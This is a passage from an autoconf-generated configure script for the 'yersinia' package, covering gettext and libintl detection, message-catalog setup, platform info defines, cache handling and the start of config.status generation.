PACKAGE_LIBS=$pkg_cv_PACKAGE_LIBS { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; } fi GETTEXT_PACKAGE=yersinia cat >>confdefs.h <<_ACEOF #define GETTEXT_PACKAGE "$GETTEXT_PACKAGE" _ACEOF ALL_LINGUAS="" for ac_header in locale.h do : ac_fn_c_check_header_mongrel "$LINENO" "locale.h" "ac_cv_header_locale_h" "$ac_includes_default" if test "x$ac_cv_header_locale_h" = xyes; then : cat >>confdefs.h <<_ACEOF #define HAVE_LOCALE_H 1 _ACEOF fi done if test $ac_cv_header_locale_h = yes; then { $as_echo "$as_me:${as_lineno-$LINENO}: checking for LC_MESSAGES" >&5 $as_echo_n "checking for LC_MESSAGES... " >&6; } if ${am_cv_val_LC_MESSAGES+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include int main () { return LC_MESSAGES ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : am_cv_val_LC_MESSAGES=yes else am_cv_val_LC_MESSAGES=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $am_cv_val_LC_MESSAGES" >&5 $as_echo "$am_cv_val_LC_MESSAGES" >&6; } if test $am_cv_val_LC_MESSAGES = yes; then $as_echo "#define HAVE_LC_MESSAGES 1" >>confdefs.h fi fi USE_NLS=yes gt_cv_have_gettext=no CATOBJEXT=NONE XGETTEXT=: INTLLIBS= ac_fn_c_check_header_mongrel "$LINENO" "libintl.h" "ac_cv_header_libintl_h" "$ac_includes_default" if test "x$ac_cv_header_libintl_h" = xyes; then : gt_cv_func_dgettext_libintl="no" libintl_extra_libs="" # # First check in libc # { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ngettext in libc" >&5 $as_echo_n "checking for ngettext in libc... " >&6; } if ${gt_cv_func_ngettext_libc+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include int main () { return !ngettext ("","", 1) ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : gt_cv_func_ngettext_libc=yes else gt_cv_func_ngettext_libc=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $gt_cv_func_ngettext_libc" >&5 $as_echo "$gt_cv_func_ngettext_libc" >&6; } if test "$gt_cv_func_ngettext_libc" = "yes" ; then { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dgettext in libc" >&5 $as_echo_n "checking for dgettext in libc... " >&6; } if ${gt_cv_func_dgettext_libc+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include int main () { return !dgettext ("","") ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : gt_cv_func_dgettext_libc=yes else gt_cv_func_dgettext_libc=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $gt_cv_func_dgettext_libc" >&5 $as_echo "$gt_cv_func_dgettext_libc" >&6; } fi if test "$gt_cv_func_ngettext_libc" = "yes" ; then for ac_func in bind_textdomain_codeset do : ac_fn_c_check_func "$LINENO" "bind_textdomain_codeset" "ac_cv_func_bind_textdomain_codeset" if test "x$ac_cv_func_bind_textdomain_codeset" = xyes; then : cat >>confdefs.h <<_ACEOF #define HAVE_BIND_TEXTDOMAIN_CODESET 1 _ACEOF fi done fi # # If we don't have everything we want, check in libintl # if test "$gt_cv_func_dgettext_libc" != "yes" \ || test "$gt_cv_func_ngettext_libc" != "yes" \ || test "$ac_cv_func_bind_textdomain_codeset" != "yes" ; then { $as_echo "$as_me:${as_lineno-$LINENO}: checking for bindtextdomain in -lintl" >&5 $as_echo_n "checking for bindtextdomain in -lintl... " >&6; } if ${ac_cv_lib_intl_bindtextdomain+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lintl $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char bindtextdomain (); int main () { return bindtextdomain (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_intl_bindtextdomain=yes else ac_cv_lib_intl_bindtextdomain=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_intl_bindtextdomain" >&5 $as_echo "$ac_cv_lib_intl_bindtextdomain" >&6; } if test "x$ac_cv_lib_intl_bindtextdomain" = xyes; then : { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ngettext in -lintl" >&5 $as_echo_n "checking for ngettext in -lintl... " >&6; } if ${ac_cv_lib_intl_ngettext+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lintl $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char ngettext (); int main () { return ngettext (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_intl_ngettext=yes else ac_cv_lib_intl_ngettext=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_intl_ngettext" >&5 $as_echo "$ac_cv_lib_intl_ngettext" >&6; } if test "x$ac_cv_lib_intl_ngettext" = xyes; then : { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dgettext in -lintl" >&5 $as_echo_n "checking for dgettext in -lintl... " >&6; } if ${ac_cv_lib_intl_dgettext+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lintl $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char dgettext (); int main () { return dgettext (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_intl_dgettext=yes else ac_cv_lib_intl_dgettext=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_intl_dgettext" >&5 $as_echo "$ac_cv_lib_intl_dgettext" >&6; } if test "x$ac_cv_lib_intl_dgettext" = xyes; then : gt_cv_func_dgettext_libintl=yes fi fi fi if test "$gt_cv_func_dgettext_libintl" != "yes" ; then { $as_echo "$as_me:${as_lineno-$LINENO}: checking if -liconv is needed to use gettext" >&5 $as_echo_n "checking if -liconv is needed to use gettext... " >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: result: " >&5 $as_echo "" >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ngettext in -lintl" >&5 $as_echo_n "checking for ngettext in -lintl... " >&6; } if ${ac_cv_lib_intl_ngettext+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lintl -liconv $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char ngettext (); int main () { return ngettext (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_intl_ngettext=yes else ac_cv_lib_intl_ngettext=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_intl_ngettext" >&5 $as_echo "$ac_cv_lib_intl_ngettext" >&6; } if test "x$ac_cv_lib_intl_ngettext" = xyes; then : { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dcgettext in -lintl" >&5 $as_echo_n "checking for dcgettext in -lintl... " >&6; } if ${ac_cv_lib_intl_dcgettext+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lintl -liconv $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char dcgettext (); int main () { return dcgettext (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_intl_dcgettext=yes else ac_cv_lib_intl_dcgettext=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_intl_dcgettext" >&5 $as_echo "$ac_cv_lib_intl_dcgettext" >&6; } if test "x$ac_cv_lib_intl_dcgettext" = xyes; then : gt_cv_func_dgettext_libintl=yes libintl_extra_libs=-liconv else : fi else : fi fi # # If we found libintl, then check in it for bind_textdomain_codeset(); # we'll prefer libc if neither have bind_textdomain_codeset(), # and both have dgettext and ngettext # if test "$gt_cv_func_dgettext_libintl" = "yes" ; then glib_save_LIBS="$LIBS" LIBS="$LIBS -lintl $libintl_extra_libs" unset ac_cv_func_bind_textdomain_codeset for ac_func in bind_textdomain_codeset do : ac_fn_c_check_func "$LINENO" "bind_textdomain_codeset" "ac_cv_func_bind_textdomain_codeset" if test "x$ac_cv_func_bind_textdomain_codeset" = xyes; then : cat >>confdefs.h <<_ACEOF #define HAVE_BIND_TEXTDOMAIN_CODESET 1 _ACEOF fi done LIBS="$glib_save_LIBS" if test "$ac_cv_func_bind_textdomain_codeset" = "yes" ; then gt_cv_func_dgettext_libc=no else if test "$gt_cv_func_dgettext_libc" = "yes" \ && test "$gt_cv_func_ngettext_libc" = "yes"; then gt_cv_func_dgettext_libintl=no fi fi fi fi if test "$gt_cv_func_dgettext_libc" = "yes" \ || test "$gt_cv_func_dgettext_libintl" = "yes"; then gt_cv_have_gettext=yes fi if test "$gt_cv_func_dgettext_libintl" = "yes"; then INTLLIBS="-lintl $libintl_extra_libs" fi if test "$gt_cv_have_gettext" = "yes"; then $as_echo "#define HAVE_GETTEXT 1" >>confdefs.h # Extract the first word of "msgfmt", so it can be a program name with args. set dummy msgfmt; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_path_MSGFMT+:} false; then : $as_echo_n "(cached) " >&6 else case "$MSGFMT" in /*) ac_cv_path_MSGFMT="$MSGFMT" # Let the user override the test with a path. ;; *) IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS="${IFS}:" for ac_dir in $PATH; do test -z "$ac_dir" && ac_dir=. if test -f $ac_dir/$ac_word; then if test -z "`$ac_dir/$ac_word -h 2>&1 | grep 'dv '`"; then ac_cv_path_MSGFMT="$ac_dir/$ac_word" break fi fi done IFS="$ac_save_ifs" test -z "$ac_cv_path_MSGFMT" && ac_cv_path_MSGFMT="no" ;; esac fi MSGFMT="$ac_cv_path_MSGFMT" if test "$MSGFMT" != "no"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MSGFMT" >&5 $as_echo "$MSGFMT" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "$MSGFMT" != "no"; then glib_save_LIBS="$LIBS" LIBS="$LIBS $INTLLIBS" for ac_func in dcgettext do : ac_fn_c_check_func "$LINENO" "dcgettext" "ac_cv_func_dcgettext" if test "x$ac_cv_func_dcgettext" = xyes; then : cat >>confdefs.h <<_ACEOF #define HAVE_DCGETTEXT 1 _ACEOF fi done MSGFMT_OPTS= { $as_echo "$as_me:${as_lineno-$LINENO}: checking if msgfmt accepts -c" >&5 $as_echo_n "checking if msgfmt accepts -c... " >&6; } cat >conftest.foo <<_ACEOF msgid "" msgstr "" "Content-Type: text/plain; charset=UTF-8\n" "Project-Id-Version: test 1.0\n" "PO-Revision-Date: 2007-02-15 12:01+0100\n" "Last-Translator: test \n" "Language-Team: C \n" "MIME-Version: 1.0\n" "Content-Transfer-Encoding: 8bit\n" _ACEOF if { { $as_echo "$as_me:${as_lineno-$LINENO}: \$MSGFMT -c -o /dev/null conftest.foo"; } >&5 ($MSGFMT -c -o /dev/null conftest.foo) 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then MSGFMT_OPTS=-c; { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } echo "$as_me: failed input was:" >&5 sed 's/^/| /' conftest.foo >&5 fi # Extract the first word of "gmsgfmt", so it can be a program name with args. set dummy gmsgfmt; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_path_GMSGFMT+:} false; then : $as_echo_n "(cached) " >&6 else case $GMSGFMT in [\\/]* | ?:[\\/]*) ac_cv_path_GMSGFMT="$GMSGFMT" # Let the user override the test with a path. ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_path_GMSGFMT="$as_dir/$ac_word$ac_exec_ext" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS test -z "$ac_cv_path_GMSGFMT" && ac_cv_path_GMSGFMT="$MSGFMT" ;; esac fi GMSGFMT=$ac_cv_path_GMSGFMT if test -n "$GMSGFMT"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $GMSGFMT" >&5 $as_echo "$GMSGFMT" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi # Extract the first word of "xgettext", so it can be a program name with args. set dummy xgettext; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_path_XGETTEXT+:} false; then : $as_echo_n "(cached) " >&6 else case "$XGETTEXT" in /*) ac_cv_path_XGETTEXT="$XGETTEXT" # Let the user override the test with a path. ;; *) IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS="${IFS}:" for ac_dir in $PATH; do test -z "$ac_dir" && ac_dir=. if test -f $ac_dir/$ac_word; then if test -z "`$ac_dir/$ac_word -h 2>&1 | grep '(HELP)'`"; then ac_cv_path_XGETTEXT="$ac_dir/$ac_word" break fi fi done IFS="$ac_save_ifs" test -z "$ac_cv_path_XGETTEXT" && ac_cv_path_XGETTEXT=":" ;; esac fi XGETTEXT="$ac_cv_path_XGETTEXT" if test "$XGETTEXT" != ":"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $XGETTEXT" >&5 $as_echo "$XGETTEXT" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { extern int _nl_msg_cat_cntr; return _nl_msg_cat_cntr ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : CATOBJEXT=.gmo DATADIRNAME=share else case $host in *-*-solaris*) ac_fn_c_check_func "$LINENO" "bind_textdomain_codeset" "ac_cv_func_bind_textdomain_codeset" if test "x$ac_cv_func_bind_textdomain_codeset" = xyes; then : CATOBJEXT=.gmo DATADIRNAME=share else CATOBJEXT=.mo DATADIRNAME=lib fi ;; *-*-openbsd*) CATOBJEXT=.mo DATADIRNAME=share ;; *) CATOBJEXT=.mo DATADIRNAME=lib ;; esac fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS="$glib_save_LIBS" INSTOBJEXT=.mo else gt_cv_have_gettext=no fi fi fi if test "$gt_cv_have_gettext" = "yes" ; then $as_echo "#define ENABLE_NLS 1" >>confdefs.h fi if test "$XGETTEXT" != ":"; then if $XGETTEXT --omit-header /dev/null 2> /dev/null; then : ; else { $as_echo "$as_me:${as_lineno-$LINENO}: result: found xgettext program is not GNU xgettext; ignore it" >&5 $as_echo "found xgettext program is not GNU xgettext; ignore it" >&6; } XGETTEXT=":" fi fi # We need to process the po/ directory. POSUB=po ac_config_commands="$ac_config_commands default-1" for lang in $ALL_LINGUAS; do GMOFILES="$GMOFILES $lang.gmo" POFILES="$POFILES $lang.po" done if test "$gt_cv_have_gettext" = "yes"; then if test "x$ALL_LINGUAS" = "x"; then LINGUAS= else { $as_echo "$as_me:${as_lineno-$LINENO}: checking for catalogs to be installed" >&5 $as_echo_n "checking for catalogs to be installed... " >&6; } NEW_LINGUAS= for presentlang in $ALL_LINGUAS; do useit=no if test "%UNSET%" != "${LINGUAS-%UNSET%}"; then desiredlanguages="$LINGUAS" else desiredlanguages="$ALL_LINGUAS" fi for desiredlang in $desiredlanguages; do # Use the presentlang catalog if desiredlang is # a. equal to presentlang, or # b. a variant of presentlang (because in this case, # presentlang can be used as a fallback for messages # which are not translated in the desiredlang catalog). case "$desiredlang" in "$presentlang"*) useit=yes;; esac done if test $useit = yes; then NEW_LINGUAS="$NEW_LINGUAS $presentlang" fi done LINGUAS=$NEW_LINGUAS { $as_echo "$as_me:${as_lineno-$LINENO}: result: $LINGUAS" >&5 $as_echo "$LINGUAS" >&6; } fi if test -n "$LINGUAS"; then for lang in $LINGUAS; do CATALOGS="$CATALOGS $lang$CATOBJEXT"; done fi fi MKINSTALLDIRS= if test -n "$ac_aux_dir"; then MKINSTALLDIRS="$ac_aux_dir/mkinstalldirs" fi if test -z "$MKINSTALLDIRS"; then MKINSTALLDIRS="\$(top_srcdir)/mkinstalldirs" fi test -d po || mkdir po if test "x$srcdir" != "x."; then if test "x`echo $srcdir | sed 's@/.*@@'`" = "x"; then posrcprefix="$srcdir/" else posrcprefix="../$srcdir/" fi else posrcprefix="../" fi rm -f po/POTFILES sed -e "/^#/d" -e "/^\$/d" -e "s,.*, $posrcprefix& \\\\," -e "\$s/\(.*\) \\\\/\1/" \ < $srcdir/po/POTFILES.in > po/POTFILES fi info_date="`date '+%a %d-%b-%Y %H:%M'`" info_kern="`uname -s`" info_kern_ver="`uname -r`" info_platform="`uname -m`" cat >>confdefs.h <<_ACEOF #define INFO_KERN "$info_kern" _ACEOF cat >>confdefs.h <<_ACEOF #define INFO_KERN_VER "$info_kern_ver" _ACEOF cat >>confdefs.h <<_ACEOF #define INFO_PLATFORM "$info_platform" _ACEOF cat >>confdefs.h <<_ACEOF #define INFO_DATE "$info_date" _ACEOF ac_config_files="$ac_config_files Makefile src/Makefile" cat >confcache <<\_ACEOF # This file is a shell script that caches the results of configure # tests run on this system so they can be shared between configure # scripts and configure runs, see configure's option --config-cache. # It is not useful on other systems. If it contains results you don't # want to keep, you may remove or edit it. # # config.status only pays attention to the cache file if you give it # the --recheck option to rerun configure. # # `ac_cv_env_foo' variables (set or unset) will be overridden when # loading this file, other *unset* `ac_cv_foo' will be assigned the # following values. _ACEOF # The following way of writing the cache mishandles newlines in values, # but we know of no workaround that is simple, portable, and efficient. # So, we kill variables containing newlines. # Ultrix sh set writes to stderr and can't be redirected directly, # and sets the high bit in the cache file unless we assign to the vars. ( for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do eval ac_val=\$$ac_var case $ac_val in #( *${as_nl}*) case $ac_var in #( *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 $as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; esac case $ac_var in #( _ | IFS | as_nl) ;; #( BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( *) { eval $ac_var=; unset $ac_var;} ;; esac ;; esac done (set) 2>&1 | case $as_nl`(ac_space=' '; set) 2>&1` in #( *${as_nl}ac_space=\ *) # `set' does not quote correctly, so add quotes: double-quote # substitution turns \\\\ into \\, and sed turns \\ into \. sed -n \ "s/'/'\\\\''/g; s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" ;; #( *) # `set' quotes correctly as required by POSIX, so do not add quotes. sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" ;; esac | sort ) | sed ' /^ac_cv_env_/b end t clear :clear s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/ t end s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ :end' >>confcache if diff "$cache_file" confcache >/dev/null 2>&1; then :; else if test -w "$cache_file"; then if test "x$cache_file" != "x/dev/null"; then { $as_echo "$as_me:${as_lineno-$LINENO}: updating cache $cache_file" >&5 $as_echo "$as_me: updating cache $cache_file" >&6;} if test ! -f "$cache_file" || test -h "$cache_file"; then cat confcache >"$cache_file" else case $cache_file in #( */* | ?:*) mv -f confcache "$cache_file"$$ && mv -f "$cache_file"$$ "$cache_file" ;; #( *) mv -f confcache "$cache_file" ;; esac fi fi else { $as_echo "$as_me:${as_lineno-$LINENO}: not updating unwritable cache $cache_file" >&5 $as_echo "$as_me: not updating unwritable cache $cache_file" >&6;} fi fi rm -f confcache test "x$prefix" = xNONE && prefix=$ac_default_prefix # Let make expand exec_prefix. test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' DEFS=-DHAVE_CONFIG_H ac_libobjs= ac_ltlibobjs= U= for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue # 1. Remove the extension, and $U if already installed. ac_script='s/\$U\././;s/\.o$//;s/\.obj$//' ac_i=`$as_echo "$ac_i" | sed "$ac_script"` # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR # will be set to the directory where LIBOBJS objects are built. as_fn_append ac_libobjs " \${LIBOBJDIR}$ac_i\$U.$ac_objext" as_fn_append ac_ltlibobjs " \${LIBOBJDIR}$ac_i"'$U.lo' done LIBOBJS=$ac_libobjs LTLIBOBJS=$ac_ltlibobjs if test -n "$EXEEXT"; then am__EXEEXT_TRUE= am__EXEEXT_FALSE='#' else am__EXEEXT_TRUE='#' am__EXEEXT_FALSE= fi if test -z "${AMDEP_TRUE}" && test -z "${AMDEP_FALSE}"; then as_fn_error $? "conditional \"AMDEP\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${am__fastdepCC_TRUE}" && test -z "${am__fastdepCC_FALSE}"; then as_fn_error $? "conditional \"am__fastdepCC\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${HAVE_REMOTE_ADMIN_TRUE}" && test -z "${HAVE_REMOTE_ADMIN_FALSE}"; then as_fn_error $? "conditional \"HAVE_REMOTE_ADMIN\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${HAS_CURSES_TRUE}" && test -z "${HAS_CURSES_FALSE}"; then as_fn_error $? "conditional \"HAS_CURSES\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${HAVE_GTK_TRUE}" && test -z "${HAVE_GTK_FALSE}"; then as_fn_error $? "conditional \"HAVE_GTK\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi : "${CONFIG_STATUS=./config.status}" ac_write_fail=0 ac_clean_files_save=$ac_clean_files ac_clean_files="$ac_clean_files $CONFIG_STATUS" { $as_echo "$as_me:${as_lineno-$LINENO}: creating $CONFIG_STATUS" >&5 $as_echo "$as_me: creating $CONFIG_STATUS" >&6;} as_write_fail=0 cat >$CONFIG_STATUS <<_ASEOF || as_write_fail=1 #! $SHELL # Generated by $as_me. # Run this file to recreate the current configuration. # Compiler output produced by configure, useful for debugging # configure, is in config.log if it exists. debug=false ac_cs_recheck=false ac_cs_silent=false SHELL=\${CONFIG_SHELL-$SHELL} export SHELL _ASEOF cat >>$CONFIG_STATUS <<\_ASEOF || as_write_fail=1 ## -------------------- ## ## M4sh Initialization. ## ## -------------------- ## # Be more Bourne compatible DUALCASE=1; export DUALCASE # for MKS sh if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then : emulate sh NULLCMD=: # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' setopt NO_GLOB_SUBST else case `(set -o) 2>/dev/null` in #( *posix*) : set -o posix ;; #( *) : ;; esac fi as_nl=' ' export as_nl # Printing a long string crashes Solaris 7 /usr/bin/printf. as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo # Prefer a ksh shell builtin over an external printf program on Solaris, # but without wasting forks for bash or zsh. if test -z "$BASH_VERSION$ZSH_VERSION" \ && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='print -r --' as_echo_n='print -rn --' elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='printf %s\n' as_echo_n='printf %s' else if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' as_echo_n='/usr/ucb/echo -n' else as_echo_body='eval expr "X$1" : "X\\(.*\\)"' as_echo_n_body='eval arg=$1; case $arg in #( *"$as_nl"*) expr "X$arg" : "X\\(.*\\)$as_nl"; arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; esac; expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" ' export as_echo_n_body as_echo_n='sh -c $as_echo_n_body as_echo' fi export as_echo_body as_echo='sh -c $as_echo_body as_echo' fi # The user is always right. if test "${PATH_SEPARATOR+set}" != set; then PATH_SEPARATOR=: (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || PATH_SEPARATOR=';' } fi # IFS # We need space, tab and new line, in precisely that order. Quoting is # there to prevent editors from complaining about space-tab. # (If _AS_PATH_WALK were called with IFS unset, it would disable word # splitting by setting IFS to empty value.) IFS=" "" $as_nl" # Find who we are. Look in the path if we contain no directory separator. as_myself= case $0 in #(( *[\\/]* ) as_myself=$0 ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break done IFS=$as_save_IFS ;; esac # We did not find ourselves, most probably we were run as `sh COMMAND' # in which case we are not to be found in the path. if test "x$as_myself" = x; then as_myself=$0 fi if test ! -f "$as_myself"; then $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 exit 1 fi # Unset variables that we do not need and which cause bugs (e.g. in # pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1" # suppresses any "Segmentation fault" message there. '((' could # trigger a bug in pdksh 5.2.14. for as_var in BASH_ENV ENV MAIL MAILPATH do eval test x\${$as_var+set} = xset \ && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : done PS1='$ ' PS2='> ' PS4='+ ' # NLS nuisances. LC_ALL=C export LC_ALL LANGUAGE=C export LANGUAGE # CDPATH. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH # as_fn_error STATUS ERROR [LINENO LOG_FD] # ---------------------------------------- # Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are # provided, also output the error to LOG_FD, referencing LINENO. Then exit the # script with STATUS, using 1 if that was 0. as_fn_error () { as_status=$1; test $as_status -eq 0 && as_status=1 if test "$4"; then as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack $as_echo "$as_me:${as_lineno-$LINENO}: error: $2" >&$4 fi $as_echo "$as_me: error: $2" >&2 as_fn_exit $as_status } # as_fn_error # as_fn_set_status STATUS # ----------------------- # Set $? to STATUS, without forking. as_fn_set_status () { return $1 } # as_fn_set_status # as_fn_exit STATUS # ----------------- # Exit the shell with STATUS, even in a "trap 0" or "set -e" context. as_fn_exit () { set +e as_fn_set_status $1 exit $1 } # as_fn_exit # as_fn_unset VAR # --------------- # Portably unset VAR. as_fn_unset () { { eval $1=; unset $1;} } as_unset=as_fn_unset # as_fn_append VAR VALUE # ---------------------- # Append the text in VALUE to the end of the definition contained in VAR. Take # advantage of any shell optimizations that allow amortized linear growth over # repeated appends, instead of the typical quadratic growth present in naive # implementations. if (eval "as_var=1; as_var+=2; test 